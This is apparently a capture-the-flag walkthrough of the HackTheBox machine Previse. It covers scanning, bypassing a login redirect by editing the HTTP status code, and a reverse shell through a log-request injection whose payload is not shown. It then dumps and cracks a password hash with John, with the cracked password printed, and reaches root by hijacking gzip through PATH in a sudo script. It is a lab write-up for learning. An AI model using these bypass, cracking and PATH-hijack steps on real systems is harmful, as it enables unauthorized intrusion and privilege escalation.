Previse CTF – HTB

So this CTF is categorized as easy, but I would actually say that getting foothold was pretty hard. Once inside, its pretty straight forward enumeration and lateral movement if you’ve done enough information gathering.

Anyway, as always I like to start with an nmap scan to see what we’re working with.

# Nmap 7.92 scan initiated Sun Aug 29 19:30:42 2021 as: nmap -sC -sV -oN nmap.result 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 29 19:30:50 2021 -- 1 IP address (1 host up) scanned in 8.53 seconds

So port 80 and 22 is open. Navigating to the webserver, we’re prompted with a login page.

From here, I’ll look for hidde directories. I’ve normally used gobuster for this, but I found a good tool called feroxbuster which is pretty awesome. It allows us to choose recursive depth.

┌─[✗]─[root@ValgPC-0]─[/home/aghanim/Desktop/toolbox]
└──╼ #./feroxbuster --url http://10.10.11.104 --depth 0 --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php  

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.104
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-1.0.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.2
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ INFINITE
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200       31l       60w     1248c http://10.10.11.104/nav.php
200        5l       14w      217c http://10.10.11.104/footer.php
302       71l      164w     2801c http://10.10.11.104/index.php
302        0l        0w        0c http://10.10.11.104/download.php
200       20l       64w      980c http://10.10.11.104/header.php
302      148l      371w     7240c http://10.10.11.104/files.php
200       53l      138w     2224c http://10.10.11.104/login.php
200        0l        0w        0c http://10.10.11.104/config.php
302       93l      238w     3994c http://10.10.11.104/accounts.php
302       74l      176w     2970c http://10.10.11.104/status.php
301        9l       28w      310c http://10.10.11.104/css
301        9l       28w      309c http://10.10.11.104/js
302        0l        0w        0c http://10.10.11.104/logout.php
302       71l      164w     2801c http://10.10.11.104/
403        9l       28w      277c http://10.10.11.104/.php
302        0l        0w        0c http://10.10.11.104/logs.php
[####################] - 4m    850164/850164  0s      found:16      errors:0      
[####################] - 3m    283388/283388  1270/s  http://10.10.11.104
[####################] - 3m    283388/283388  1257/s  http://10.10.11.104/css
[####################] - 3m    283388/283388  1259/s  http://10.10.11.104/js

So alot of intereseting directories. I’ll admit, I first tried to see if there was en local file inclusion vulnerability in config.php but that was a dead end. Figured that out after a couple of hours.

Anyway, so turning to my favorite web application vulnerability tool, burpsuite, I’ll intercept some request and see what I find. To spare you of all the time I’ve spent enumerating, we’ll jump to the answers. Navigating to /nav.php there is an option for creating a user. Clicking that link redirect you back to the login page. In reality, there is a bug where you can change the HTTP status code to 200 OK and get the page.

So what we’ve done is intercepting the response, changing the HTTP status code from 302 to 200 and we’re presented with a page that allows us to create an account.

Inside the website we are presented with this:

Enumerating the website we find a file called SITEBACKUP.ZIP, which we downloaded.

The intereseting take from all those files was the config.php, the file I tried to use LFI on which didnt work. Inside that file is the MySQL credentials.

We’ll save that for later.

Next, we’ll try to get a reverse shell. In website, we’re able to upload files. So of course I try to upload a php reverse shell, but as it turns out, there is no way to execute it on the website so that was a dead end. To get a reverse shell, was very tricky. Using burpsuite, we have to intercept REQUEST LOG DATA and add a reverse shell in the request we send to the website.

Send this POST request, while netcat listens on port 4444 gives us a reverse shell.

We stabilize the reverse shell with python, so we can create an interactive shell to be able to talk to MySQL. Having a non-interactive shell, its not possbile to interact with MySQL.

python -c 'import pty;pty.spawn("/bin/bash")'

Logging into MySQL we can extract the account info with password hash with salt for user m4lwhere. The user.txt file is in m4lwheres home directory, which is why we will have to crack his password to open the user.txt file.

mysql> select * from accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | Test99   | $1$🧂llol$yttO4pjhP8x08DQkCHLHA0 | 2021-09-06 15:56:24 |
|  3 | bouba    | $1$🧂llol$ohg/X7LWFOCE.xKgo2oeF. | 2021-09-06 15:57:30 |
|  4 | deneme   | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// | 2021-09-06 16:07:46 |
|  5 | test1234 | $1$🧂llol$aLZZSO/HJpNblx60oCbyl0 | 2021-09-06 17:50:35 |
|  6 | Antoine  | $1$🧂llol$V3rOtBmAyaOluecPqAdJT0 | 2021-09-06 19:47:31 |
|  7 | admin    | $1$🧂llol$DJ6ZVzF0zBGjTIV/GTvOf/ | 2021-09-06 19:54:37 |
+----+----------+------------------------------------+---------------------+
7 rows in set (0.00 sec)

I tried using hashcat at first, but didnt get it to work, so I turned to john the ripper. First we have to identify what type of hash this is. From the hashcat example hash we find out this is is a md5crypt hash. Using john –format=list we can list allf of johns hash formats.

I spent some time here trying out different hashes, but the correct hash is md5crypt-long. Running that against rockyou.txt will crack the hash and we’ll get the password for m4lwhere.

┌─[root@ValgPC-0]─[/home/aghanim/Desktop/previse]
└──╼ #john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt pass
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:09 1.49% (ETA: 22:52:23) 0g/s 27979p/s 27979c/s 27979C/s 821987..820509
0g 0:00:00:19 3.21% (ETA: 22:52:12) 0g/s 28027p/s 28027c/s 28027C/s attucks..atletica
0g 0:00:00:22 3.71% (ETA: 22:52:14) 0g/s 27918p/s 27918c/s 27918C/s mithrill..mitch4eva
0g 0:00:01:45 16.78% (ETA: 22:52:46) 0g/s 25006p/s 25006c/s 25006C/s yas4rva..yas1994
0g 0:00:03:34 35.51% (ETA: 22:52:23) 0g/s 24459p/s 24459c/s 24459C/s nabil8493..nabil0925
ilovecody112235! (?)
1g 0:00:05:01 DONE (2021-09-06 22:47) 0.003317g/s 24591p/s 24591c/s 24591C/s ilovecodydean..ilovecody..
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So from here we can either SSH in to m4lwhere or just su – m4lwhere, and get the user.txt.

Privilege escalation

So first thing first, we’ll look at what kind of sudo commands this user can run.

m4lwhere@previse:~$ sudo -l 
sudo -l
[sudo] password for m4lwhere: 

User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ 

We can run a script called access_backup.sh as root. Interesting. Cat’ing that file we can see that its a script for zipping logs and storing them sorted by date.

m4lwhere@previse:/opt/scripts$ cat access_backup.sh
cat access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
m4lwhere@previse:/opt/scripts$ 

So what we’re going to do to get root is exploiting PATH variable. That means when we execute the script, it will run our own gzip custom executable.

1. cd to /tmp 
2. echo "/bin/bash -i" > gzip 
3. chmod +x gzip 
4. export PATH=/tmp:$PATH

Looking at m4lwheres $PATH we can see that our /tmp is added.

m4lwhere@previse:/tmp$ echo $PATH       
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Now, running the script as sudo again will give us a root shell.

Ok for some reason, I couldnt output any commands. I dont know if I did anything wrong, or what, but I know that I was root.

root@previse:/tmp# whoami
whoami

root@previse:/root# cat root.txt
root.txt

In order to read the root.txt I just started a simple HTTP server on the target, and downloaded it on my attacking machine. Probably not the right way, but it worked nonetheless.

All in all, pretty fun box. Even though it was hard to get foothold and the problem with root user not outputting commands.

Similar Posts